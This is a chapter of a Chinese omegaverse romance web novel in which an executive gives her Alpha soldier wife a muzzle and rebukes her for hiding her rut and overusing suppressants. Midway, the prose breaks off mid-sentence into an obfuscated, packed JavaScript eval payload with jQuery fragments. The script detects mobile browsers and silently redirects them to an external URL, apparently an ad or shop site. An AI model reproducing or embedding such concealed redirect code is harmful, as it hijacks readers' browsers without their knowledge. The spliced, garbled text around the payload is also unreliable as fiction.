红日垂落,倦鸟在橙红光晕里挥动翅膀,拥挤的高架桥亮起排排光束,映着各自广告的大屏在此刻最是显眼,但都会被层层树林隔绝,处于市中心的别墅,在送走不速之客后,便陷入静谧。
祝敛青半靠在沙发上,似乎在查什么东西,屏幕的光落在她好看的眉眼,忽明忽暗。
裴烬野在厨房里洗东西,铁片碰撞,发出清脆声响。
丢在旁边的通讯器响了又响,满屏幕都是余非晚的辩解。
裴烬野没看,懒得理会这人。
耳朵听到外套声响,是祝敛青的脚步声,来回走了一趟,似乎还拿了些什么东西。
碍于位置,裴烬野无法探看,只能默默加快了洗东西的速度,暗自思索,这次要用什么借口留在祝敛青身边。
却不想,刚走出厨房就被叫住。
裴烬野眼里闪过一丝喜色,单手调整了面具,确保万无一失后,才走到祝敛青身边。
“试一试这个,”祝敛青不等她开口就道。
裴烬野一愣,不由低头看去,便见祝敛青指尖的物件。
繁琐银丝勾勒出半张脸的轮廓,靠近耳边的位置有黑色皮绳相连,只需一眼,裴烬野就猜出这物件的作用。
防止Alpha失控乱咬。
她薄唇碾磨,一时无法反应祝敛青说的试一试是什么?
这个止咬器?
妻子给她买了止咬器?
她知道这意味着什么吗?
千万个念头闪过,却都被压了下去,只有呼吸微微加重,赤色眼神暗了下去。
另一人不曾察觉,陷在自以为的愧疚里。
她见裴烬野没有试,便忍不住放柔语气,说“面具戴着不舒服,为什么不告诉我?”
是担心她?
裴烬野放低了声音,语调是一如既往地温和,道:“没事,不必为我操心。”
话虽这样说,但视线全始终停在祝敛青的手上。
就好像得到玩具的懂事孩子,第一时间不是惊喜,而是愧疚,觉得自己让对方操心了。
想到这里,祝敛青眉眼更柔,只对裴烬野招了招手,同时命令道:“过来。”
若不是命令式,裴烬野还得和她推让几轮,在讲求效率的祝敛青眼中,实在烦人,于是直接命令。
裴烬野是个少将,也是个好士兵,骨子里就刻着服从命令四个字。
听到这话,本能往前迈出一步,紧接着左腿往前曲折,右腿往后一跪,以一个非常标准的半跪姿势立在祝敛青的面前。
如果不是怕吓到祝敛青,她甚至两条腿都可以跪下。
在妻子面前下跪算惩罚吗?
不,算是奖励。
隐藏的目光炙热,一点点贪婪扫过妻子好看的眉眼、线条优美的肩颈,再落到白皙指尖,以及那个将取代面具、戴在她脸上的止咬器。
妻子送她的第二件礼物。
在同一天,她受到了妻子的两件礼物。
这让裴烬野感到无比欣喜,但按住了想要和余非晚炫耀的手。
烦人精。
占着面具还在,裴烬野无声骂了一句。
而祝敛青眼神讶然,不过很快就归于平静。
这样刚好方便她查看。
她抬起手,裴烬野仰脖伸脸,凑到祝敛青的指尖前。
没有半点自己摘下的想法,裴烬野就是那么会得寸进尺的人。
妻子保持冷淡,她就温吞靠近。
妻子稍退让,她就跨步直追,恨不得整个人都贴到妻子身上。
灰青的眼闪过一丝犹豫,不过很快就被眸光掩盖。
温凉的指尖碰到面具边缘,还没有抬起就感受到金属的厚重。
裴烬野居然戴了一整天。
祝敛青不由拧紧眉头,镜片下的眼眸情绪复杂,无奈叹出一口气,声音也因此被柔和,道:“那么重,你怎么不说?”
裴烬野看得愣神。
妻子生得好看,她是知道的。
每次以她做封面的财经杂志都是最难买的,大早上就得赶人去排队,稍晚些还要等明天加印。
不仅是因为她的能力出众,将已在下坡路的祝氏集团拉回巅峰,也包括她精致的面容。
常有人在评论中感慨,怎么会有一个Beta如此优秀耀眼。
可这样优秀耀眼的人,此刻就在自己面前。
她穿着宽松而随意,棉麻质地的衬衫与同色长裤,栗色长发依旧被盘起,露出修长脖颈,在附身弯腰靠近时,领口微垂,便能瞧见细直的锁骨。
分明是极冷淡的人,却对自己露出无奈又柔和的表情。
与封面上冷淡又锋锐的商业精英形成鲜明对比。
裴烬野抿了抿唇,极力控制才能让呼吸趋于正常。
面罩太重,祝敛青稍用了些力才将它扯下。
刚看清裴烬野的脸,她就忍不住轻呼了一声。
军用面罩需考虑到各种极端条件,自然拼命往里堆料,以至于没有半点舒适性,压得裴烬野从鼻梁到脸侧一圈都凹陷,红得厉害。
“这么难受怎么不告诉我?”祝敛青忍不住再说,眉头越发拧紧。
说试一试的是她,不断委屈自己、主动配合的人却是裴烬野。
甚至连这个面罩,都是因为她的隐隐抵触而戴上,一戴就是一整天。
想到这里,再铁石心肠的人也会愧疚自责,忍不住道:“疼不疼?”
那人摇了摇头,依旧体贴温和:“没事的。”
裴烬野真是打心眼里觉得没问题,一个面罩能有几斤?平常训练的枪械都比这个重,只是戴着就能被妻子靠近,裴烬野恨不得无时无刻不戴着。
如此难得的一句真话,却没有得到祝敛青的相信。
她干脆利落道:“以后别戴了。”
紧接着不等裴烬野说话,又道:“你现在处于易感期?还向军备部申请了双倍的抑制剂?”
裴烬野一愣,下意识道:“你怎么知道的?”
“那就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538049|203873||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有,”祝敛青语气笃定。
她语气一转,又问:“为什么瞒着我?”
裴烬野眼帘垂落,看似在犹豫,实际是在思索暴露这件事,是否能推动她们的关系。
答案当然是有。
裴烬野眼帘颤了颤,顿时露出强撑又无法辩解的表情,吞吞吐吐道:“对不、”
“裴烬野,我们是合法的妻妻关系。”
话还没有说完就被打断,习惯上位者状态的祝敛青还未结婚多久,暂时不大适应自己的妻子身份,这样的话也说出一种居高临下的感觉。
就好像办公室里上司在说,这个方案不行,重做。
换作旁人,大抵会心生忤逆,但裴烬野只会跪得更直。
她的妻子亲口承认着她们的关系。
随意搭在膝盖的手收紧,死死掐住肉,才能控制住笑。
裴烬野抬起眼,赤色的眼眸愧疚又真诚。
“我只是不想让你担心,只是易感期而已。”
“双倍的抑制剂也是而已?我一个Beta都知道这有多危险。”
祝敛青被气笑,忍不住加重语气,斥道:“裴烬野,你太不把自己的身体当回事了。”
“不管是易感期还是过滤面具,总想着自己抗,如果我没有发现,你还想自己抗多久?”
祝敛青越说越气,甚至多了一丝恨铁不成钢的味:“即便是合作伙伴,也不能这样自己硬抗吧?更何况我们都有更进一步的打算,就该互相坦诚。”
裴烬野忍不住想笑,只能垂眼遮挡,唇角越抿越紧,下颌连着脖颈绷成一条线,看起来很像愧疚反思。
可心里全是祝敛青开合的唇。
柔软的、水盈盈的。
想亲。
想亲担忧自己的妻子。
裴烬野咬紧口腔里的软肉,舌尖舔舐而过,脑海里全是祝敛青的模样。
夜晚的触碰总是浅尝辄止,细碎的啄吻在脖颈、在腰间,却始终不敢触碰真正的禁区。
她怕妻子生气。
虽然她做出的事情已足够过分。
“裴烬野。”
妻子又在连名带姓地喊她的名字,像是喊狗,像是奖励。
“以后不许这样了,知道吗?”
低垂的视线落在祝敛青指尖,分明想蹭过去,却只能钉死在原处。
好可惜。
裴烬野语气失落,低低说了一声:“好。”
明明对方的态度诚恳,但祝敛青还是感到一丝不对,她忍不住加重语气,像自己在办公室警告下属,说:“你答应了我什么,重复一遍。”
好像训狗。
裴烬野抬起头,赤色的眼眸澄澈又无辜,认真重复:“我们是合法妻妻,有什么事都要告诉你,不能自己硬抗。”
还会自己前后结合重复?
这可比那些愚蠢下属会听话,祝敛青微微点头,终于露出满意神色,却没注意到裴烬野偷偷往前,已跪到她的面前,只需稍稍偏身,腿就会贴着腿。